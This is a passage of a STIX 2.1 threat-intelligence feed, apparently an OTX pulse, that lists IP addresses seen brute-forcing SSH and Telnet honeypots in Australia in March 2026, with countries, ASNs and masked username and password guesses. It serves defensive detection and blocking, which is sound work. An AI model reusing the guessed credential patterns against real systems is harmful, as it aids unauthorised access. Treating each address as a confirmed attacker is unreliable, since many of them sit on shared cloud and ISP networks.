      "valid_from": "2026-03-12T10:15:14.000Z",
      "valid_until": "2026-04-13T10:15:12.000Z"
    },
    {
      "created": "2026-03-12T10:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: RU. ASN(s): 39153. Organisation(s): LLC SETEL.",
      "id": "indicator--d0394e4d-3d4a-472e-959e-430bf98c8c65",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T10:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '80.253.31.232']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T10:15:14.000Z",
      "valid_until": "2026-04-13T10:15:12.000Z"
    },
    {
      "created": "2026-03-12T11:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 33. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4811. Organisation(s): China Telecom Group. Usernames observed (masked): e***n, ***. Passwords observed (masked): 1**4, E*******!.",
      "id": "indicator--9248d36c-9b27-40a6-b981-a5b8f64378bd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T11:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '14.103.120.124']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T11:15:13.000Z",
      "valid_until": "2026-04-13T11:15:11.000Z"
    },
    {
      "created": "2026-03-12T11:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--982862e1-dc32-46b0-bb12-70904ef77f9a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T11:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '143.244.152.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T11:15:13.000Z",
      "valid_until": "2026-04-13T11:15:11.000Z"
    },
    {
      "created": "2026-03-12T11:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IT. ASN(s): 1267. Organisation(s): Wind Tre S.p.A..",
      "id": "indicator--a4858398-2b98-46d3-976a-2f5d1380728b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T11:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '151.26.110.54']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T11:15:13.000Z",
      "valid_until": "2026-04-13T11:15:11.000Z"
    },
    {
      "created": "2026-03-12T11:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 28. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): 1****6, a***n, p******d.",
      "id": "indicator--7955fe28-46ee-472e-af1a-5ed81731fe14",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T11:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '168.144.43.138']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T11:15:13.000Z",
      "valid_until": "2026-04-13T11:15:11.000Z"
    },
    {
      "created": "2026-03-12T11:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--70e72fdf-bb3b-4627-a2ef-3416ffbdf937",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T11:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.17']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T11:15:13.000Z",
      "valid_until": "2026-04-13T11:15:11.000Z"
    },
    {
      "created": "2026-03-12T11:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 261. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 45899. Organisation(s): VNPT Corp. Usernames observed (masked): 3**********4, h**e, n**e, ***, l**n. Passwords observed (masked): 1****6, 3**********4, 3***********4, 1**4, 1***5.",
      "id": "indicator--4275e482-bf2a-4705-8310-6bf28bc06f1e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T11:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '203.210.134.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T11:15:13.000Z",
      "valid_until": "2026-04-13T11:15:11.000Z"
    },
    {
      "created": "2026-03-12T11:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 208. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 16276. Organisation(s): OVH SAS. Usernames observed (masked): 3**********4, k****n, u******e, a****r, b*****e. Passwords observed (masked): 1***5, 3***********4, 3**********4, 1**4, 1****6.",
      "id": "indicator--238bdc8c-2602-4e66-a8d2-34bd5b4d91f4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T11:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '51.83.192.124']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T11:15:13.000Z",
      "valid_until": "2026-04-13T11:15:11.000Z"
    },
    {
      "created": "2026-03-12T11:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--48861b80-2455-458f-81ff-c2946c953bfd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T11:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '74.82.47.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T11:15:13.000Z",
      "valid_until": "2026-04-13T11:15:11.000Z"
    },
    {
      "created": "2026-03-12T11:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 273. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SE. ASN(s): 8473. Organisation(s): Bahnhof AB. Usernames observed (masked): 3**********4, h**e, ***, n**e, d****n. Passwords observed (masked): 1****6, 3***********4, 3**********4, 1***5, c******e.",
      "id": "indicator--15b67a0f-ba03-4c95-a82e-fedb7b033420",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T11:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '81.170.248.221']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T11:15:13.000Z",
      "valid_until": "2026-04-13T11:15:11.000Z"
    },
    {
      "created": "2026-03-12T12:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--c9bedd11-7463-474d-b927-3b767d338dbc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '118.40.193.228']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T12:15:13.000Z",
      "valid_until": "2026-04-13T12:15:11.000Z"
    },
    {
      "created": "2026-03-12T12:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 38365. Organisation(s): Beijing Baidu Netcom Science and Technology Co., Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): 1******************b.",
      "id": "indicator--eda12541-9463-4c55-93ab-f1807a9db339",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '120.48.33.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T12:15:13.000Z",
      "valid_until": "2026-04-13T12:15:11.000Z"
    },
    {
      "created": "2026-03-12T12:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 487. Sensors involved: Heralding. Target ports: 5900. Source country: US. ASN(s): 398019. Organisation(s): Dynu Systems Incorporated. Passwords observed (masked): b******d, f******l, r******e, t******n.",
      "id": "indicator--9ca0b474-a219-4c29-84d9-37a318522024",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '162.216.241.201']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T12:15:13.000Z",
      "valid_until": "2026-04-13T12:15:11.000Z"
    },
    {
      "created": "2026-03-12T12:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 356. Sensors involved: Heralding. Target ports: 5900. Source country: US. ASN(s): 398019. Organisation(s): Dynu Systems Incorporated. Passwords observed (masked): M******k.",
      "id": "indicator--b8248bdb-b7d7-44f9-8ea6-7deee3d773f1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '162.216.241.247']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T12:15:13.000Z",
      "valid_until": "2026-04-13T12:15:11.000Z"
    },
    {
      "created": "2026-03-12T12:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 44. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TR. ASN(s): 42926. Organisation(s): Radore Veri Merkezi Hizmetleri A.S.. Usernames observed (masked): h*****g, 3**********4, j******n, r**t, **. Passwords observed (masked): 1****6, 1******8, 1**9, 3***********4, 3**********4.",
      "id": "indicator--a2f9f849-48e4-4f59-8d8e-c1ee66218832",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '176.53.96.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T12:15:13.000Z",
      "valid_until": "2026-04-13T12:15:11.000Z"
    },
    {
      "created": "2026-03-12T12:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: LK. ASN(s): 9329. Organisation(s): Sri Lanka Telecom Internet. Usernames observed (masked): c***n, f***x, o**n. Passwords observed (masked): ***, f*******4, o*****3.",
      "id": "indicator--93bdcb5b-faec-45f2-9380-41bb631a4419",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '220.247.224.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T12:15:13.000Z",
      "valid_until": "2026-04-13T12:15:11.000Z"
    },
    {
      "created": "2026-03-12T12:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 17813. Organisation(s): Mahanagar Telephone Nigam Limited.",
      "id": "indicator--298f2abe-5894-41fe-b7f0-98f395eddbee",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '59.180.162.27']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T12:15:13.000Z",
      "valid_until": "2026-04-13T12:15:11.000Z"
    },
    {
      "created": "2026-03-12T12:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 26. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 3356. Organisation(s): Level 3 Parent, LLC. Usernames observed (masked): ***, 3**********4. Passwords observed (masked): 3***********4, 3**********4, ***.",
      "id": "indicator--d8aadce4-9c8a-49e6-b452-0293678ddfbf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '8.243.50.114']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T12:15:13.000Z",
      "valid_until": "2026-04-13T12:15:11.000Z"
    },
    {
      "created": "2026-03-12T13:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IT. ASN(s): 1267. Organisation(s): Wind Tre S.p.A..",
      "id": "indicator--71e6b695-5aff-4540-8598-70827f83f6c5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T13:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '151.64.228.179']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T13:15:13.000Z",
      "valid_until": "2026-04-13T13:15:11.000Z"
    },
    {
      "created": "2026-03-12T13:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 106. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): *, **, ***, 1**4, 1***5.",
      "id": "indicator--1092deed-1c6a-401e-9698-31b350dcbb56",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T13:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '165.22.209.239']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T13:15:13.000Z",
      "valid_until": "2026-04-13T13:15:11.000Z"
    },
    {
      "created": "2026-03-12T13:15:13.000Z",
      "description": "Attacker IP - SSH & Telnet / Observed authentication attempts via ssh, telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 22, 23. Source country: US. ASN(s): 16509. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--cb5c86cc-71b1-473c-bd31-df0ccd806634",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T13:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '18.222.201.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T13:15:13.000Z",
      "valid_until": "2026-04-13T13:15:11.000Z"
    },
    {
      "created": "2026-03-12T13:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 86. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ES. ASN(s): 41608. Organisation(s): NextGenWebs, S.L.. Usernames observed (masked): r**t, ***, 3**********4, a***n, a**x. Passwords observed (masked): 1**1, ***, 1***5, 1******8, 3***********4.",
      "id": "indicator--f06b536c-9c69-4838-b549-f5fe53bd2b33",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T13:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.213.175.140']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T13:15:13.000Z",
      "valid_until": "2026-04-13T13:15:11.000Z"
    },
    {
      "created": "2026-03-12T13:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 86. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PL. ASN(s): 16276. Organisation(s): OVH SAS. Usernames observed (masked): r**t, ***, 3**********4, a***n, a**x. Passwords observed (masked): 1**1, ***, 1***5, 1******8, 3***********4.",
      "id": "indicator--54e09d3a-8687-445e-b6fc-db992f1d06c9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T13:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '51.68.138.162']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T13:15:13.000Z",
      "valid_until": "2026-04-13T13:15:11.000Z"
    },
    {
      "created": "2026-03-12T13:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 86. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: UA. ASN(s): 24945. Organisation(s): Telecommunication Company Vinteleport Ltd.. Usernames observed (masked): t****1, 3**********4, a****n, **, c****e. Passwords observed (masked): ***, 1******8, 1****6, 3***********4, 3**********4.",
      "id": "indicator--1bd2a3cd-e9c3-4636-a7db-9aac4c2230a3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T13:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '81.30.162.19']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T13:15:13.000Z",
      "valid_until": "2026-04-13T13:15:11.000Z"
    },
    {
      "created": "2026-03-12T14:15:16.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 119. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 138608. Organisation(s): Cloud Host Pte Ltd. Usernames observed (masked): t**k, 3**********4, b********r, f*********n, g**s. Passwords observed (masked): 1**4, ***, 3***********4, 3**********4, G*****3.",
      "id": "indicator--05dbacde-ec76-4bef-97c6-74308596c4c2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T14:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.187.146.107']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T14:15:16.000Z",
      "valid_until": "2026-04-13T14:15:11.000Z"
    },
    {
      "created": "2026-03-12T14:15:16.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 16509. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--46785905-12a2-4c38-b5a3-9f0e06ae4ec3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T14:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '18.194.102.131']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T14:15:16.000Z",
      "valid_until": "2026-04-13T14:15:11.000Z"
    },
    {
      "created": "2026-03-12T14:15:16.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 14618. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--e2194fb4-5dae-48a6-93d0-df32e1155f41",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T14:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '44.220.185.140']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T14:15:16.000Z",
      "valid_until": "2026-04-13T14:15:11.000Z"
    },
    {
      "created": "2026-03-12T14:15:16.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone. Usernames observed (masked): r**t. Passwords observed (masked): -**************-, 3**********T.",
      "id": "indicator--3be0d251-2139-49ea-bb4b-ab989a69b41c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T14:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '60.13.54.161']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T14:15:16.000Z",
      "valid_until": "2026-04-13T14:15:11.000Z"
    },
    {
      "created": "2026-03-12T14:15:16.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Cowrie. Target ports: 22. Source country: KR. ASN(s): 3786. Organisation(s): LG DACOM Corporation.",
      "id": "indicator--f796814f-ef3f-4348-b6a3-b676fee72369",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T14:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '61.41.4.17']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T14:15:16.000Z",
      "valid_until": "2026-04-13T14:15:11.000Z"
    },
    {
      "created": "2026-03-12T14:15:16.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 74. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 3209. Organisation(s): Vodafone GmbH. Usernames observed (masked): a***l, 3**********4, h***l, l**e, ***. Passwords observed (masked): ***, 1***5, 1******8, 3***********4, 3**********4.",
      "id": "indicator--f56dda76-192d-40e7-8f82-6d49c216e93a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T14:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '95.90.13.168']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T14:15:16.000Z",
      "valid_until": "2026-04-13T14:15:11.000Z"
    },
    {
      "created": "2026-03-12T15:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 118. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BD. ASN(s): 153528. Organisation(s): ExtentIT Solution Limited. Usernames observed (masked): r**t, 3**********4, c***o, c****e, ***. Passwords observed (masked): 1**4, p******d, 1****6, 1*******., 1**********c.",
      "id": "indicator--e8560936-df8a-4c30-9f4d-f0d05a3ab99b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T15:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '161.248.201.228']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T15:15:13.000Z",
      "valid_until": "2026-04-13T15:15:11.000Z"
    },
    {
      "created": "2026-03-12T15:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: ID. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--4cb9f294-aa68-40f0-a6c6-e6e5675d28e0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T15:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '163.7.9.54']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T15:15:13.000Z",
      "valid_until": "2026-04-13T15:15:11.000Z"
    },
    {
      "created": "2026-03-12T15:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 190. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): 3**********4, d********r, ***, a***o, d**************r. Passwords observed (masked): 3***********4, 3**********4, D*****************3, E*****3, a*******!.",
      "id": "indicator--863ff05c-1a4e-406c-b470-0c563d2a60a9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T15:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '165.22.213.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T15:15:13.000Z",
      "valid_until": "2026-04-13T15:15:11.000Z"
    },
    {
      "created": "2026-03-12T15:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 46. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): a***n. Passwords observed (masked): 1****6, a***n, a******3, a*******6, p******d.",
      "id": "indicator--7d8fbd44-68ea-4521-a54a-3d00e14d6372",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T15:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '168.144.47.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T15:15:13.000Z",
